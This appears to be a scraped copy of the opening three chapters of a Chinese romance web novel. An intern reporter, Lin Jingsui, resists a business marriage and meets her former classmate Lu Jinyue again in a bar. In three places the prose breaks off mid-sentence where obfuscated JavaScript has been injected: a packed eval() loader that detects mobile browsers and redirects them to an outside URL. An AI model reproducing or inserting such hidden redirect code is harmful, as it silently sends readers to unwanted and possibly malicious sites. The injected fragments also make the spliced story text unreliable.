《听说我们好久不见》 1. 01 《听说我们好久不见》 晋江文学城独发 01 “Ladiesandgentlemen.” (女士们先生们。) “MayIhaveyourattentionplease.” (请注意。) “YourfightNo.GF520toTongChengisnowboarding,pleasetake……Wewishyouapleasantjourney.Thankyou.” (您乘坐的GF520次前往桐城的航班开始登机……祝您旅途愉快,谢谢!) 机场提示音刚落,林惊岁的手机便叮铃响起,她暂时停下,低头看了眼身畔满是困意的小屁孩。 露出一角的窗台卷进一袭冷风,掀起她的大衣衣角。 美国进入了冬令时,夜幕笼罩,初雪悄然来临。 “林惊岁,现在在哪儿?你一个实习生能代表我们公司前往美国交流已经是我给你的面子了,还想着借这机会在外面多待几天吗?” 听着老李机关枪似的唠叨,林惊岁神情自若,倏的转了下眸子,回道,“老板,你不是不知道,华尔街日报的Luna主编说什么也要我留下多交流几天,这才耽误了时间。” Luna主编可是华尔街的日报的老人,资历与人脉可是数一数二。 尤其是在新闻这一行业,更是业界的大拿,曾多次走访其他国家交流深造。 不仅是出色的业务能力,更是由于当年Luna亲自冒险参与警方调查的一项秘密任务,不顾危险揭发真相,从此声名远扬。 鹿宜市可谓是华国的金珠,其中林惊岁所在的时代新刊自然与华尔街日报有密切联系,所以林惊岁才有机会拿到交换名额。 没想到她与第一主编Luna聊的格外投机,Luna自然也欣赏这样的人才,不吝指教。 在林惊岁即将回国的时候主动邀请她交流一个新的课题,Luna女士既然开口,林惊岁也不好拒绝,这才耽误。 可李荣保根本不相信,一个小小的实习记者,能和Luna成为忘年交? 明摆着与毛猴和太上老君打交道的道理一样,你当自己是孙悟空,还是当他是傻子啊? “我可不管为什么,明天周五,如果八点我没看到你,呵,那你也别想转正了。” 拿着实习生的工资,干着高领的工作,还真是会压榨呢。 但林惊岁丝毫不慌,一边把小宝抱到行李箱上,一边往前走,胸有成竹地开口。 “您放心,我明天肯定就到。不过啊,要是没有Luna主编的教导,我恐怕也不能这么快的把方案高质量完成,Luna主编对这次的合作很看重,还说,如果合作顺利进行的话,明年她就要亲自来我们鹿宜市详谈呢。” 对面显然沉默了片刻,似乎没料想到她一个实习生真的拿下了这份合作。 “不过啊,幸好Luna主编不知道您催我回去呢,不然岂不是觉得咱们不信任华尔街日报?以后谈合作恐怕就难了呢,而且啊,我还说,李总您十分支持我的工作,Luna主编说,有机会一定要单独找您聊聊呢。” “有时候李总您要多看看自己的问题,万一您再多努力一点,不就可以得到Luna主编的欣赏了吗?再接再厉,说不定下次来这里的就是您!” “……”李荣保沉默片刻,半晌吐出来三个字,“有道理。” 对面隐隐传来一阵压抑的笑声,交头接耳似乎还有些吵闹。 不用想也知道,肯定是芬姐几人在加班,然后又听到了两人的对话,正在佩服得暗暗对她竖大拇指呢。 毕竟在职场摸爬滚打这么多年,敢这么光明正大PUA领导的,她们还是第一次在实习生身上看到,果然是初生牛犊不怕虎。 可偏偏,李荣保就吃这一套,刚才的怒气眨眼间散去不少,又恢复了一副和蔼可亲的面貌。 他瞪了眼小声交流的加班同事,又说,“行了,明天下午按时到就行,你在那边注意安全啊,路费记得找财务部报销。” “好的呢李总。” 客套两句后,林惊岁挂断了电话。 对付李总这样的老板,她一张嘴就够了,刚准备收了手机,电话铃声再次响起。 林惊岁下意识接起,吐出一口浊气,来自大洋彼岸,她以为又是老李,便脱口而出,“喂,李总——” “在哪儿?” 一道低沉沙哑的男声透过手机屏幕,语气不容置否,伴着寒风传入耳中。 熟悉的腔调不由得令林惊岁指尖微微一颤。 她顿了下,平静回:“纽约。” 对方语气明显有些不悦,静默两秒,直言,“他们想见你。” 这个他们自然是指傅清寒的父母,也算得上是林惊岁半个养父母,只不过他眼下正和二老闹矛盾,自然没有指明。 “我知道了。” 似乎是察觉到林惊岁语气中的淡漠与疏离,傅清寒也不再多说,只是最后交代了句:“温禾回来了。” 林惊岁眼眸一暗,不知是冷风刺骨,还是什么原因,握着手机的纤细指尖忍不住蜷紧泛红。 “是吗?”她吸了下冻得发红的鼻子,扯了一丝笑容,“那挺好的,肯定是个大新闻。” 国际新星温禾从伦敦拍完戏回国,本身就是一件大新闻。 再加上,她出国那天,也正是和傅氏集团新任总裁傅清寒传出绯闻恋情的时候。 一个冷厉风行的傅总,与新晋国际明星,天作之合。 恰好,那天正是林惊岁负责整理这条新闻内容,自然清清楚楚地看到了那些照片与证据。 她拖着鼠标一点点放大,最后还是从照片中男人脖颈处的疤痕认出了傅清寒。 因为那道疤痕,曾是傅清寒为了保护她被玻璃片划伤时留得疤,本来是有机会愈合的。 可傅清寒却只是平静地拆掉纱布,对害怕得落泪的林惊岁说,“以后,你欠我一道伤疤。” 林惊岁一直记着,但没成想,那道疤却成了她认出照片中神秘男人的关键。 而那个男人,彼时正在与温禾接吻,隐匿在阴影中的眼眸似有似无地望向镜头,怀中圈着凹凸有致的女人,似乎在故意挑衅狗仔镜头。 他忽的提起,“公司在华盛顿的分公司出了问题,你知道的,路氏集团一直把握着华人在美的大部分企业资金链,而傅氏和他们合作,是现如今最好不过的选择。” “你想要的东西,傅氏都可以给你。” 为了捧温禾,傅清寒以傅氏集团的名义砸进去太多资金与精力。 但今年却出了意外,不少豺狼恶虎盯着傅氏这块肥肉,明争暗斗,给傅清寒使了不少绊子。 傅清寒,想拿她去联姻。 只不过,路氏未必愿意。 所以这些年林惊岁才会迫不及待地想要成长,离开傅氏集团独自发展,只有靠自己,才能掌握自己的命运。 而傅清寒却希望她可以主动攀附上路氏那条船,为傅氏集团谋取利益。 “我想要的东西,”林惊岁阖眼,语气坚定说,“我自己可以拿到。” 她不会同意联姻的,欠傅家的,她可以自己动手去还,但唯独自己的人生大事,她不会轻易决定。 话筒内又陷入了沉默,许久,傅清寒才淡声道,“没什么事情,就挂断吧。” “傅清寒。”她下意识喊住,声音蓦地轻柔了些。 几秒钟的时间,林惊岁轻声问,“鹿宜市,下雪了么?” 纽约下雪了,很冷,但这件事只有林惊岁知道。 挂断电话后,林惊岁换了只手,拍了下泛红的脸,另一只手捧着手机,对着那通电话皱眉吐槽,仿佛换了个人似的,“傅清寒,走着瞧,能同意联姻,你算我大爷!” 发泄完,林惊岁重新回归平静,抱起身畔昏昏欲睡的小宝,一手推着行李箱登机。 即便精疲力竭,林惊岁依旧不敢有丝毫松懈,毕竟她还带着一个宝贝疙瘩。 这混小子除了吃就是睡,但好在机灵,没惹出什么事情。 * 登机过程中,怀里的小宝忽然从睡梦中惊醒,四处张望。 也是在这一瞬,被遮住视线的林惊岁径直撞入一个黑色大衣的男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002708|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里。 “Sorry!”林惊岁脱口而出,然后又训斥了一声小宝,“小宝,别闹!” 男人身形高大,拢下的身影完全笼罩在她身上,眉眼冷峻,即便带着黑色口罩,也依稀能瞧出流利的面部线条与高挺鼻梁,透着一股说不出的矜贵气质。 一瞬间,林惊岁甚至以为是傅清寒也来了美国。 毕竟这种气质与相貌,身为记者,除了傅清寒以外,她几乎没见过第二个人。 但与傅清寒的冷厉淡漠不同,眼前的陌生男人身上似乎还有一些无形的暖意。 就像是一块融化了锐利棱角的冰块,看起来冷,但实则并无寒意。 似乎认出了她是中国同胞,男人并无愠色,眼皮轻掀,扫了眼依偎在惊岁怀中委屈巴巴的小孩儿,眸中情愫微变,“你小孩儿?” 几乎是脱口而出。 “Ladiesandgentlemen……” 林惊岁一愣,这问题乍一听似乎并没什么问题,但若是换作年纪稍大一点的叔叔阿姨似乎更关注这点。 可那男人一看便是年轻人,虽说气质成熟矜贵,但年纪绝不大。 身为记者,林惊岁的观察力与敏锐力都极高。 更何况,她自幼接触的圈子多,受的教育也更能培养她的察言观色能力,觉得不对劲也在情理之中。 但由于赶时间,再者说,对一个陌生男人说太多也不太安全,林惊岁也并没多解释,笑着囫囵嗯了一声。 再次说完对不起后,林惊岁跟随飞机指示音去了自己的机舱。 而黑色风衣的男人却只是顿了片刻,然后径直往商务舱走。 刚才一闪而过的陌生情绪全然被压下,眸中恢复了无波的平静,以及一丝微不可察的愠气。 黑夜与初雪交织,奏出纽约的冬令时交响曲。 林惊岁哄睡了小宝后,总算挤出一点时间放松一下神经。 她连上蓝牙耳机,放了首《塞勒斯的爱》,然后无聊地点开手机滑动。 放空大脑时,林惊岁鬼使神差地点开□□,熟练地进入自己主页,扫了眼她少年时偷偷记录下的照片。 上面的傅清寒还有些青涩,但眉眼与那张热搜上的恋情照片却是一模一样。 只不过,她记录下的照片是在傅清寒不经意间偷拍下的,而与温禾的那张,却是傅清寒有意而为之。 林惊岁觉得有些闷,索性就要退出,指尖却划到了一道久远的信息。 许久以前,初高中的□□正是流行匿问我答的时候,但林惊岁很少参与这类游戏,所以问答寥寥无几。 直到在她毕业的那天,手机却忽的收到了三条没头没尾的匿问信息。 「“你在哭吗?”」 「“可以天天开心吗?”」 「“可不可以,别忘记我?”」 她至今也不知道那人是谁。 朋友说,也许是某个喜欢她的人吧,毕竟那个时候他们才从聚会中离开,那会儿她的确有些心情不太好。 出于朋友情谊,过了许久,林惊岁才选择一一回答。 但由于时间太久,她也记不清自己有没有哭,也许吧。 「“——嗯。”」 「“——尽量。”」 前两个问题她都一一回答,可唯独第三个问题,太过无厘头。 林惊岁猜测许久这个人的身份,可始终觉得不对劲,索性也就放弃,只好反问了一句。 「“你是谁?”」 说不定背后那个捉弄她的同学会在下面回复,可过了这么多年,却没有一个人联系她。 也许时过境迁,那个同学也早就忘了呢。 耳机里恰好传来一句歌词。 “我愿能以后,捉紧你的手。” “到没人世外,一起拥抱永久。” 林惊岁并不在乎这些事情,忙碌了一整夜,她定了闹钟,然后听着歌昏昏沉沉睡下,回到鹿宜还要再忙一段时间呢。 那晚,在飞机上度过一夜的林惊岁少有地做了个梦。 梦见她曾经的一个记不清面容的高中同学,红着眼眶对她说,“林惊岁,我们好久不见。” 2. 02 02 鹿宜的冬夜漫长孤寂,林惊岁带小宝回公寓的时候已经是凌晨。 屋门合上的一刹那,空气卷风仿佛横飞的刀剑锐刺,全然插入门板,动弹不得。 安置好其他事情后,林惊岁打开电脑,进入微博热搜榜,果不其然,在主页面的热搜榜首找到了意料之内的词条内容。 #傅清寒温禾恋情# #温禾回国# #傅氏集团投资华悦,力捧温禾# 卓头亮着一盏小桔灯,借着灯光,林惊岁拖动鼠标点了进去,映入眼帘的依旧是一个月以前的绯闻内容。 这些照片她早就看过,索性往后继续看。 其中还包括最新流出的夜店照片,群枝环绕中隐约瞧出一个男人的身影。 不用多说,林惊岁一眼便瞧出那是傅清寒。 她眼眸黯了黯,没说什么,只是告诉自己去忽略这些事情。 即便如此,当那些照片映入眼帘的一刻,林惊岁的心头就像是被微不可察的针刺狠狠地扎了一下,摸不见伤口,但就是不自在。 可偏偏她没有任何理由去诉说这些不自在,因为他们两人,除了朋友与兄妹,别无他路。 幼时两家父母酒后拍板定下的那门娃娃亲,也早就不作数了,只是双方都没有主动提起。 如果没有傅清寒的父母,也许自己十年前就无家可归了。 夜间热搜又迅速更新,弹出了一条新的博文内容:“大名鼎鼎的国际新星温禾当着男友傅总的面,主动敬酒,巴结娱乐圈神秘大佬?” 甚至还附赠了一张全新的偷拍照,林惊岁看了眼日期和发帖人,犹豫片刻,指尖轻触,放大那张模糊的夜店照片。 照片中金碧辉煌的建筑她再熟悉不过,傅清寒的私人酒店。 华贵的外滩复古式建筑,暖黄色的灯光闪烁在空敞华贵的舞厅,隐约还有舞女跳跃的身影。 其中最末尾的人的确是傅清寒,带着金丝框眼镜,斯文有礼。 站在他身侧一袭红裙的女人手持高脚杯,头一次没看傅清寒,反而笑意盈盈地望着对面的陌生男人,似乎刚起身,打算去敬酒。 林惊岁顿了下,想要看看那人究竟是谁,意外的是,陌生男人所在的位置很刁钻。 不知是否是有意而为之,以她对外滩酒店位置的熟悉度,那个角落即便是狗仔刻意用无人机拍摄,也难以看到他的正容。 唯一能看到的无非就是黑色西装,以及锋利的下颌线。 有资本抢占那个位置,甚至与傅清寒对坐,让温禾笑吟吟地主动敬酒,怪不得狗仔爆料是大佬呢。 林惊岁只觉头疼,这种人物,即便她有傅家做依靠,也不能轻易查,发帖的狗仔恐怕是个刚入行的新手,随意爆料。 她只好为他默默哀悼一分钟。 只不过,当林惊岁的目光重新挪到那个陌生男人的背影上时,眼皮不由得一跳,似乎在预示着什么。 * 当夜,林惊岁安置好熟睡的小宝后,独自出门去了长街最常去的那家酒吧。 每每遇到烦心事时,林惊岁都会独自出门散步。 直到偶然一次,她被赵钰宁拖拽着进了那家嗨唱酒吧,之后便一发不可收拾。 不过林惊岁通常也只是浅尝辄止,不敢喝多,毕竟她的酒量早在高考结束后就已经初见端倪。 前台的服务员小钟也对林惊岁有些印象,见她这么久没来,还忍不住多问了句,“林小姐,前段时间怎么不见你过来?” “出差在外,没办法。” 林惊岁苦笑一声,轻车熟路地端起吧台上一杯粉色的鸡尾酒,朝他敬了下以示礼貌,“老样子,不过今晚我想试试你们家的新品,是叫一见钟情么?” “对,”吧台服务员已经着手为她准备,“林小姐今晚需要包间吗?” “嗯。” 林惊岁抬头,无意间瞥到了酒吧的一则通知,视线扫过,大致看清了它的意思。 于是又问,“小钟,你们酒吧开新业务了?” 小钟顺着她的目光看去,顿时会意,凑近压低声音说,“我们老板觉得最近生意不太行,所以新加了一项业务,陪聊陪酒都没问题。” 林惊岁又瞧了一眼那条通知,上面清晰地写着:185腹肌大帅哥,高级男模,点了不吃亏,点了不上当,点了包您满意! 不过小钟并不觉得她会点,这位林小姐太过正经了,一副企业高管的气质。 每次来酒吧最多两杯,绝对不会贪杯,担得上一句自律。 令小钟不得不感慨,自律的女人最可怕。 于是小钟安心调酒,没成想下一刻,林惊岁就语出惊人道,“我点了,两个小时,送人直接到我包厢,哦对了,不帅不给钱。” 用最平静的语气说出最惊人的话,小钟倏的长大了嘴巴,缓了半晌才突然醒悟:果然,自律的女人最可怕! 但他还没有解释,虽然他们家酒吧开了这项新业务,但是符合标准的男模太少,唯一一个现在还在外地配一个大富婆呢! 这特么让他去哪儿找现成的185腹肌大帅哥啊? 小钟面露纠结,犹豫着开口,“那个林小姐,这个男模吧他——” “不差钱。” 林惊岁从容不迫地从口袋里掏出一张银行卡,满脸单纯地写着“姐有钱”三个大字,“而且,我只是让他帮我倒个酒而已。” “那您看我给您倒酒成不?”小钟尴尬一笑。 静默片刻,林惊岁开口:“那我这钱岂不是花得太冤了?” 伤害性不大,侮辱性极强。 小钟咬牙应下,一把拿过林惊岁即将收回的钱,拍拍胸脯保证说,“放心吧,男模必须给姐到位!” 等到林惊岁进包厢之后,平时最稳重的小钟急得直跺脚,甚至有些后悔刚才的决定,这怎么搞? 小钟忙不迭地给自家老板打电话,说明了一下情况。 可自家老板已经喝得烂醉如泥,在电话里醉醺醺地也说不清楚,最后只丢下一句话:“女的?让路今越去,他今晚正为感情烦心呢,嘿嘿嘿——” “啊?老板,但是他——” “嘟——” 电话挂断,小钟心里咯噔一下,难不成真要把老板的好哥们儿找来救急? 恰在此时,小钟的视线忽的被眼前的一个男人所吸引,顺着他的步伐看了一眼,感慨说,“还真是说曹操曹操就到呐。” 怪不得自家老板今天吃了熊心豹子胆似的,敢在包厢内如此揶揄他,原来是他出来上厕所,根本就不在包厢啊。 “路哥!”小钟喊住了即将回包厢的男人。 正低头单手打字的男人忽的抬头,撩起眼皮往吧台看了眼,眸底显露出遮掩不住的疲态。 路今越皱眉,看起来颇有些不耐烦,问,“有事。” 小钟冷不丁打了个颤,眼前的男人气场很强,他刚刚在自家老板的介绍之下就清楚。 但不知道为什么,感觉今天从国外回来的路今越气场更冷,活像是被人抛弃后无家可归的怨妇,果然是受了情伤。 没办法,整个酒吧能解决眼下燃眉之急的恐怕只有这一位,反正这主意是他们老板说的,跟他没关系。 于是小钟还是硬着头皮说,“路哥,看在我们老板今天专门为您准备庆祝会的份上,能不能帮我送个酒啊?” “你们服务生呢?”路今越直问重点,眼尾泛起困意。 “不够帅。” “?” “路哥,那个客人要求太高,不够高不够帅的不要。”身为金牌吧台服务员,小钟说谎甚至不需要打草稿。 路今越冷嗤一声,眉眼淡淡,“送酒还要挑三拣四,她以为挑男模么?” 小钟嘴角微抽,避开视线,悄悄说心里话:可不就是嘛。 “我刚给我们老板打了通电话,估计他现在也已经醉了,不如您就牺牲这一点宝贵的时间,帮帮小弟?” 小钟言辞恳切,实在不好拒绝。 路今越看着吧台上的那杯调好的“一见钟情”,犹豫片刻,还是不情不愿地端起来,问:“包厢?” 小钟一怔,然后忙不迭地指着对面,“106包厢,感谢路哥大恩大德,好人一生平安!” “……” 进去之前,路今越把风衣口袋里的黑色口罩重新拿了出来,戴好后才打算进去。 推开包厢门的一瞬间,路今越怔愣在原地,迟迟没有踏进包厢门。 一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002709|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狭长深邃的眼眸就这么肆无忌惮地锁定在坐在最中央的人身上。 听到动静后,林惊岁头也没抬地责怪说,“你们干这行的,不知道遵守一下时间吗?” 路今越没答话,只是低声嗯了句,干这行的,确实要遵守时间。 “进来坐吧,”林惊岁依旧没抬头,单手划拉着工作文件,另一只拍了怕她身边的沙发位置,自然而然道,“坐下,我们聊聊。” 倒像是路今越做错了什么事,眼下被林惊岁抓了个正着,准备训斥他呢。 见她正忙,路今越索性也就端着酒进去,轻声阖上包厢门,把“一见钟情”放在她面前,示意说,“你的酒。” 声线蓦地染上了几分勾人的宠溺。 偌大的阴影遮住了林惊岁查看文件的视线,她有些不满,又拍了拍旁边的位置,命令式的开口,“坐下,听话才有小费拿。” 路今越:“……” 他照做,温驯得不像话。 终于,林惊岁忙完,收了手机,清亮的眼眸这才集中在那杯淡粉色的一见钟情上。 她迫不及待地端起酒杯,浅尝辄止,品味说,“酸酸甜甜,像饮料,你家的酒不醉人,还不错。” 话音未落,林惊岁侧目看了眼旁边的男模。 一瞬间,不知道是酒精作用,还是酒的名字起了作用,她毫不吝啬地喃喃说,“你家的酒不醉人,你家的头牌倒是醉人。” 头牌? “我不是。”路今越拧眉,一副守身如玉的贞节烈夫模样。 她轻轻哦了一声。 “那叫你家头牌来,姐不差钱。” 林惊岁心说,不是头牌都这么好看,真正的头牌岂不是更好看? “……” 路今越眉头微拧,看着眼前的姑娘像是个流氓似的说出这样的话,他下意识伸手去夺她的酒杯,只可惜被林惊岁护犊子似的一把挡住。 “哎,你干嘛?” 林惊岁警惕道,怀里的酒比眼前的人重要。 “你醉了。” 一见钟情的度数可不低,不然怎么做到一见钟情? “我没醉。” 林惊岁的酒量没差到那种地步,至少她是这么以为的,她只是心里不舒服。 有那么一刻,她倒是希望自己能大醉一场,然后傅家二小姐醉酒点男模的丑闻登上头条,这样的话,是不是就没人逼她联姻了? 林惊岁又给自己灌了一口酒,旋即盯着男人的黑口罩,不满道,“你都干这行了,还不敢露脸?怎么接客啊?” 不拿下口罩,她怎么给他灌酒啊? 这话怎么越听越像……男模? 路今越一时之间对于自己的定位有些迷惑。 话音未落,林惊岁已然钳制住他的手,用另一只手迅速揭下他的口罩。 一瞬间,林惊岁好似石化似的没有动作,呼吸瞬间凝滞。 黑色的口罩依旧挂在她葱白的指尖,映入眼帘的那张脸似乎比印象中的更加成熟深邃,冷白的皮肤在蓝紫色的光调下格外清晰。 唯独那双看狗都深情的眼睛正在她脸颊上扫来扫去,眉毛上挑,似乎在等待她如何反应。 气氛一时之间透着一股微妙的尴尬,空气也不再流通,瞬间凝滞。 缓了许久,林惊岁才终于脱口而出,试探地问,“路今越?” 路今越弯唇,伸手撑着侧脸,食指弯曲顶在颧骨处,他嗯了声,“林惊岁,这么多年,你还是一如既往的——” “令人大-开-眼-界。” 一字一顿,故意咬重。 轰的一声,林惊岁感觉自己好像那个烧开了的水壶,两颊又红又烫,脑海中一片升腾。 她猛然往后一退,拉开两人之间的距离。 顿了顿,林惊岁垂下眼睫,一本正经地说,“路今越,你堕落了。” 路今越觉得好玩,故意道,“我承认我堕落了,但作为嗨唱酒吧的头牌。” “林惊岁,” 他倾身凑近,“你想对我做什么?” “我、我那个——” 林惊岁支支吾吾,半晌没说话,思绪却猛然间拉回五年前,彼时他们只是高二的学生。 酒吧,堕落,与路今越。 3. 03 03 “小姐,您一个人真的可以吗?”司机不太放心,询问道。 温禾在生日办了一场生日宴,邀请的人物中自然不包括她,明天又是假期,傅清寒自然而然没有选择回别墅。 伯父伯母也不在,空荡荡的别墅里只有她一个人,林惊岁觉得闷闷的,索性打算自己走走。 她笑说,“我一个人可以的,而且,这条小巷路上有好多烧烤摊子,我想去吃。” 司机提醒说,“那小姐注意安全,路边摊不要吃太多,不干净,吃坏肚子可就不好了。” “好。” 林惊岁乖乖应下,她背着书包,两只手稳稳地抓住书包带,在那条人来人往的小巷里慢慢往里走。 听朋友说,顺着这条小巷往外走,就是一片密密麻麻的筒子楼,里面住的都是些老弱病残,以及穷凶极恶之徒。 老式巷子楼外自然少不了小吃街,所以林惊岁才想要走在这条烟火小巷里。 大大小小的吆喝声此起彼伏,满是人间烟火气。 路过一家小酒吧时,林惊岁脚步不由自主地停了下来,澄黄的灯光忽明忽暗,电风扇吱吱呀呀的声音萦绕耳边,时不时传出一些骂骂咧咧的争吵声。 林惊岁穿着一身干净的蓝色校服,梳着低马尾,目光如水,修长细嫩的手指攥紧书包背带,柔和干净,与这条街巷格格不入。 可不知为何,越是这样,林惊岁心中腾然升起一股无名的欲望。 她想要去看看,傅清寒口中的禁区究竟是什么样子。 在她印象里,鹿宜市一直是治安最好最安全的城市,林惊岁也很少遇到过坏人。 所以某一刻,她不受控制地踏入了那家破烂的小酒吧。 推开门,映入眼帘的是深紫色的灯光,以及正在抽烟的梳着非主流发型的前台。 前台先是上下扫了一眼小姑娘,也许是惊讶于有这么干净的小姑娘来这个酒吧,那前台觉得新奇,索性主动开口搭话。 “喂,妹妹,哪里的人?看着好面生。” “你好,”林惊岁饶有礼貌地开口,顿了下,又说,“请问你们这里怎么消费?” 一副清纯无知的模样。 见状,前台笑容更加猖狂,倾身凑近,意味深长,“妹妹,你想怎么消费,都行。” “怎么消费都行?”林惊岁眨了下眼睛,重复问了一句。 “对,说说吧,你想要消费什么?” 林惊岁环视了一圈酒吧,弱弱地凑近问:“你们酒吧,有男模吗?” 前台:“……” 林惊岁面不改色:“不差钱。” 说着,林惊岁掏出几张百元大钞,递到前台上面。 ??? 这特么是钱的问题吗?! 好吧,的确是钱的问题,因为前台孟千帆看着面前从没有见过的如此多的钞票,某一刻也曾动摇了。 他甚至想搁下脸皮,问一下这位妹妹:你看哥行么? 哥悟了,哥他妈的不想努力了。 几个围观的小弟不可置信,小声蛐蛐,“我靠,这特么是妹子吗?她要男模?咱们酒吧干得都是正经生意啊!” 前台也偷摸地看了眼眼前人畜无害的小姑娘,一副见了鬼的模样。 没想到这妹子看起来这么清纯,实则是个玩得挺花的啊? 但对待未成年,即便前台再怎么胆大,也不敢私下胡来。 不过江湖义气还是要有的,“既然妹妹诚心诚意地想要,那我们也就放开了,老吴,你带客人去301包间,我去训练一下男模。” 名叫老吴的小弟赶过来,前半句正常,后半句钻入耳中,老吴一个急刹车回头,“嗯?” 他们家夕阳红酒吧什么时候开新业务了? 人走之后,前台孟千帆一把拎过另一个小弟,压低声音问,“对了,咱们是不是还欠那位哥一个人情?” “哪个哥?” 小弟老齐不明所以,但忽然间恍然大悟,看了眼酒吧里面正在打游戏的那位爷,瞬间了悟,“老大,那您的意思是?” 孟千帆稳操胜券,“这妹子不好糊弄,再者说,这种事情,咱们拿钱,让他们几个挡灾,一举两得,反正不亏。” 小弟老齐咽了咽唾沫,他藏住了心里话,毕竟他也想参与。 他们这种小酒吧,积了多少年的德才能有这么漂亮的一个妹子光临呐? 所以,老齐还是答应了下来,然后转身直奔隔壁包间,拎着一箱啤酒推门而入,笑嘻嘻道,“路哥,你的酒到了。” 路今越头也没抬,坐在沙发上翘着二郎腿,熟练地玩着游戏,只是低声嗯了下,旁边的几个兄弟接过啤酒,挥手让他出去。 老齐找了个借口说,“路哥,隔壁有个妹妹说要找您。” “又有妹子找我们路哥?” 其中一人疑惑道,“不是吧,我们今天都躲进这个酒吧了,还能有人找得到?” 哥儿几个都清楚路家老爷子的脾性,也清楚路家的势力,数不清名媛权贵迫不及待地想要送上门来主动结交。 路老爷子也是来者不拒,总是想方设法送到路今越面前,逼得路今越一连几天都被迫躲进网吧酒店。 一把游戏结束,路今越终于舍得抬起头来,懒懒地扫向老齐,眉头微拧,“叫什么名字?找我干什么?” “那不清楚。” 老齐说谎话甚至不需要打草稿,脸不红心不跳,一本正经胡编说,“反正指名道姓要找你,找不到你不走,而且人妹子长得特别漂亮。” 路今越轻嗤一声,收回视线,“爱走不走,关我什么事?” “那妹妹还说了,你要是不过去,她就把你来酒吧的事情告诉你家老爷子。” 此话一出,刚准备再来一局游戏的路大少爷直接利落地站起身,单手拎起校服外套披在右肩,边往外走边无语地吐出两个字。 “带路。” “得嘞!” 老齐得意地笑了下,然后回过头指路,“路哥,隔壁301包间!” 路今越步伐散乱,眼神尽显疲态,嘴里还叼着一根棒棒糖。 他着实不理解,这位又是自家老爷子塞给他的哪门子表妹堂妹或者什么乱七八糟的旧友孙女。 他路今越都躲到如此破烂的小酒吧了,还能找得到他,也算她牛批。 反正甭管哪一个,今天他的目的只有一个,让她从哪儿来,回哪儿去。 总之,他路今越是不可能陪她玩什么无聊的交友游戏的! 门刚一推开,路今越的话也随之出来,“我家老爷子——” 下一刻,路今越定睛看清楚坐在沙发上的人后,剩下的话瞬间堵塞在喉咙中。 他不可思议地与林惊岁面面相觑,猛咳了一声后差点把糖吐出来。 “路,今越?” 林惊岁也意外地看了他一眼,可惜,还没等她说出下一句话,包间门又啪的一声猛然关闭。 隔着一道门,路今越平复了一下呼吸,又揉了揉眼睛,“一定是打开门的方式不太对。” 说罢,他又小心翼翼地推开一条缝,在这一条缝里,路今越清楚地看到,林惊岁正眼睛一眨不眨地盯着他,上下打量。 眼底情绪满是惊诧与……可怜? 路今越踏入包间,掀起眼帘睨她。 而林惊岁也在同一时间内打量他,终究没忍住,说,“路今越,你堕落了。” ???what? 他堕落了? 他不就是来酒吧打个游戏吗? 堕落什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002710|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 路今越哦了一声,也毫不客气地回:“林惊岁,你也堕落了。” “确实。” 林惊岁点点头,对他的话保持肯定态度。 沉默片刻的路今越直言,“说吧,找我什么事?” 林惊岁扬起下巴,反问,“你来这儿,不知道我找你什么事情?” 果然,跟他家老爷子有关,路今越暗暗叹气,这次他家老爷子的眼光、还挺不错的。 少年清了清嗓子,“那你想要什么?直说吧。” 只要不告诉他家老爷子就行。 “要钱,还是要人?” 林惊岁从口袋里掏出一张卡,轻轻往前推,同情道,“我不差钱。” 什么意思? 路今越看着那张银行卡,瞳孔微震,他路今越看起来像是缺钱的吗? 虽然老爷子把他的银行卡冻结了,但是—— 好吧,他承认他最近有点差钱,但这不是他出卖自己的原因。 “那你是非要人不可了?” 路今越一副看破的神情,大爷似的往后一靠,毫不退缩地看着她,半晌吐出来一句话,“我有骨气!” 林惊岁看着他眼巴巴望着那张银行卡的神情,默默补充:“你现在有没有骨气,有点模糊。” “……” 路今越败下阵来,“那现在你想做什么?” 闻言,林惊岁盯着他的脸想了想,放弃了,索性摇摇头,收拾了一下书包站起身,轻声说,“我现在要回去了。” “?”路今越单挑眉,“什么都不做?” “你想我做什么?” 林惊岁反问,如实道来,“我今天心情不好,想找人发泄一下脾气,我以为男模长得都一般,这样说些重话也不会不好意思。” “那为什么又不说了?” “你长得帅,我开不了口。” 林惊岁随便糊弄了一下,瞎编乱造了一个理由。 其实她本来是想给男模灌酒,解解压,但现在对面的人是路今越,还未成年呢,自然灌不了。 反正心也散够了,不如早点回去,以免张姨他们担心。 但路大少爷自然不知道这些心路历程,此时此刻,他脑海中只有一句话挥之不去,林惊岁她说,他长得帅! 长!得!帅! 